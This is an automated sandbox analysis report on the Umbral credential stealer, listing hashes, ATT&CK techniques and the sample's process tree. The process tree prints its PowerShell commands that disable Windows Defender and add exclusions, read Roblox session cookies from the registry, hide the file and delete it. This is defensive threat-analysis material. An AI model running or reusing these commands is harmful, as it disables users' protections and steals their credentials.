umbral | 3dec6623a9f5488bc8fc4a3185cddd03bdda73247063875943a79dd75c5071b6

Analysis

max time kernel
142s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
11-08-2024 11:37

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General

Target

everything.exe
Size

231KB
MD5

5e487f250a2b0c04f06f37b6d66b29ba
SHA1

68d5c6fcf314df40abf53b3462cb76dce9af887e
SHA256

3dec6623a9f5488bc8fc4a3185cddd03bdda73247063875943a79dd75c5071b6
SHA512

1f428c57ee5d53fbe590f12f3e345715b528c5aaa5e971e30fe760d9bf8660a09c1dbf7f94b73c5131c4261163e2fb6932a71ccf67b1a319f0dd1b06af823e54
SSDEEP

6144:hloZM+rIkd8g+EtXHkv/iD4EmQIkqNlOhLWU1pAe4dnb8e1mAYVi:ToZtL+EP8EmQIkqNlOhLWU1pAdpd

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4864-0-0x0000020074410000-0x0000020074450000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4136	powershell.exe
2312	powershell.exe
2316	powershell.exe
2032	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	everything.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
31	discord.com
30	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3992	cmd.exe
1216	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
920	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1216	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4864	everything.exe
4136	powershell.exe
4136	powershell.exe
2312	powershell.exe
2312	powershell.exe
2316	powershell.exe
2316	powershell.exe
3972	powershell.exe
3972	powershell.exe
2032	powershell.exe
2032	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	everything.exe
Token: SeIncreaseQuotaPrivilege	3112	wmic.exe
Token: SeSecurityPrivilege	3112	wmic.exe
Token: SeTakeOwnershipPrivilege	3112	wmic.exe
Token: SeLoadDriverPrivilege	3112	wmic.exe
Token: SeSystemProfilePrivilege	3112	wmic.exe
Token: SeSystemtimePrivilege	3112	wmic.exe
Token: SeProfSingleProcessPrivilege	3112	wmic.exe
Token: SeIncBasePriorityPrivilege	3112	wmic.exe
Token: SeCreatePagefilePrivilege	3112	wmic.exe
Token: SeBackupPrivilege	3112	wmic.exe
Token: SeRestorePrivilege	3112	wmic.exe
Token: SeShutdownPrivilege	3112	wmic.exe
Token: SeDebugPrivilege	3112	wmic.exe
Token: SeSystemEnvironmentPrivilege	3112	wmic.exe
Token: SeRemoteShutdownPrivilege	3112	wmic.exe
Token: SeUndockPrivilege	3112	wmic.exe
Token: SeManageVolumePrivilege	3112	wmic.exe
Token: 33	3112	wmic.exe
Token: 34	3112	wmic.exe
Token: 35	3112	wmic.exe
Token: 36	3112	wmic.exe
Token: SeIncreaseQuotaPrivilege	3112	wmic.exe
Token: SeSecurityPrivilege	3112	wmic.exe
Token: SeTakeOwnershipPrivilege	3112	wmic.exe
Token: SeLoadDriverPrivilege	3112	wmic.exe
Token: SeSystemProfilePrivilege	3112	wmic.exe
Token: SeSystemtimePrivilege	3112	wmic.exe
Token: SeProfSingleProcessPrivilege	3112	wmic.exe
Token: SeIncBasePriorityPrivilege	3112	wmic.exe
Token: SeCreatePagefilePrivilege	3112	wmic.exe
Token: SeBackupPrivilege	3112	wmic.exe
Token: SeRestorePrivilege	3112	wmic.exe
Token: SeShutdownPrivilege	3112	wmic.exe
Token: SeDebugPrivilege	3112	wmic.exe
Token: SeSystemEnvironmentPrivilege	3112	wmic.exe
Token: SeRemoteShutdownPrivilege	3112	wmic.exe
Token: SeUndockPrivilege	3112	wmic.exe
Token: SeManageVolumePrivilege	3112	wmic.exe
Token: 33	3112	wmic.exe
Token: 34	3112	wmic.exe
Token: 35	3112	wmic.exe
Token: 36	3112	wmic.exe
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeIncreaseQuotaPrivilege	4656	wmic.exe
Token: SeSecurityPrivilege	4656	wmic.exe
Token: SeTakeOwnershipPrivilege	4656	wmic.exe
Token: SeLoadDriverPrivilege	4656	wmic.exe
Token: SeSystemProfilePrivilege	4656	wmic.exe
Token: SeSystemtimePrivilege	4656	wmic.exe
Token: SeProfSingleProcessPrivilege	4656	wmic.exe
Token: SeIncBasePriorityPrivilege	4656	wmic.exe
Token: SeCreatePagefilePrivilege	4656	wmic.exe
Token: SeBackupPrivilege	4656	wmic.exe
Token: SeRestorePrivilege	4656	wmic.exe
Token: SeShutdownPrivilege	4656	wmic.exe
Token: SeDebugPrivilege	4656	wmic.exe
Token: SeSystemEnvironmentPrivilege	4656	wmic.exe
Token: SeRemoteShutdownPrivilege	4656	wmic.exe
Token: SeUndockPrivilege	4656	wmic.exe
Token: SeManageVolumePrivilege	4656	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 3112	4864	everything.exe	85
PID 4864 wrote to memory of 3112	4864	everything.exe	85
PID 4864 wrote to memory of 828	4864	everything.exe	90
PID 4864 wrote to memory of 828	4864	everything.exe	90
PID 4864 wrote to memory of 4136	4864	everything.exe	92
PID 4864 wrote to memory of 4136	4864	everything.exe	92
PID 4864 wrote to memory of 2312	4864	everything.exe	94
PID 4864 wrote to memory of 2312	4864	everything.exe	94
PID 4864 wrote to memory of 2316	4864	everything.exe	96
PID 4864 wrote to memory of 2316	4864	everything.exe	96
PID 4864 wrote to memory of 3972	4864	everything.exe	98
PID 4864 wrote to memory of 3972	4864	everything.exe	98
PID 4864 wrote to memory of 4656	4864	everything.exe	102
PID 4864 wrote to memory of 4656	4864	everything.exe	102
PID 4864 wrote to memory of 4000	4864	everything.exe	104
PID 4864 wrote to memory of 4000	4864	everything.exe	104
PID 4864 wrote to memory of 756	4864	everything.exe	107
PID 4864 wrote to memory of 756	4864	everything.exe	107
PID 4864 wrote to memory of 2032	4864	everything.exe	109
PID 4864 wrote to memory of 2032	4864	everything.exe	109
PID 4864 wrote to memory of 920	4864	everything.exe	111
PID 4864 wrote to memory of 920	4864	everything.exe	111
PID 4864 wrote to memory of 3992	4864	everything.exe	113
PID 4864 wrote to memory of 3992	4864	everything.exe	113
PID 3992 wrote to memory of 1216	3992	cmd.exe	115
PID 3992 wrote to memory of 1216	3992	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
828	attrib.exe

C:\Users\Admin\AppData\Local\Temp\everything.exe
"C:\Users\Admin\AppData\Local\Temp\everything.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3112
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\everything.exe"
  2⤵
  - Views/modifies file attributes
  PID:828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\everything.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3972
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4656
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4000
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2032
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:920
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\everything.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3992
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c65738617888921a153bd9b1ef516ee7

SHA1
5245e71ea3c181d76320c857b639272ac9e079b1

SHA256
4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

SHA512
2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ca58d1913d3261f116a299095e04f734

SHA1
941d13d0c8c65adb6513f23991acfa0d62facdea

SHA256
755daf72f2f5e983abb009c3b1eef4c7c660999f5ff581545bbcae7088c17c69

SHA512
87b0d8c9a5348235e9ad6416e09665764db1af408bf763857dc40e39411fa0cf405e3e8b9f0b8540c72aa874059d1dee865aa0cff8dba0fde5779ec9480b5e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_seoxyavs.bzo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4136-4-0x00007FF8ADDF0000-0x00007FF8AE8B1000-memory.dmp

Filesize
10.8MB

Download
memory/4136-10-0x0000024D7E850000-0x0000024D7E872000-memory.dmp

Filesize
136KB

Download
memory/4136-15-0x00007FF8ADDF0000-0x00007FF8AE8B1000-memory.dmp

Filesize
10.8MB

Download
memory/4136-18-0x00007FF8ADDF0000-0x00007FF8AE8B1000-memory.dmp

Filesize
10.8MB

Download
memory/4136-3-0x00007FF8ADDF0000-0x00007FF8AE8B1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-34-0x0000020076AF0000-0x0000020076B40000-memory.dmp

Filesize
320KB

Download
memory/4864-33-0x0000020076B40000-0x0000020076BB6000-memory.dmp

Filesize
472KB

Download
memory/4864-35-0x0000020076AC0000-0x0000020076ADE000-memory.dmp

Filesize
120KB

Download
memory/4864-1-0x00007FF8ADDF3000-0x00007FF8ADDF5000-memory.dmp

Filesize
8KB

Download
memory/4864-0-0x0000020074410000-0x0000020074450000-memory.dmp

Filesize
256KB

Download
memory/4864-71-0x0000020076BD0000-0x0000020076BDA000-memory.dmp

Filesize
40KB

Download
memory/4864-72-0x0000020076D10000-0x0000020076D22000-memory.dmp

Filesize
72KB

Download
memory/4864-2-0x00007FF8ADDF0000-0x00007FF8AE8B1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-90-0x00007FF8ADDF0000-0x00007FF8AE8B1000-memory.dmp

Filesize
10.8MB

Download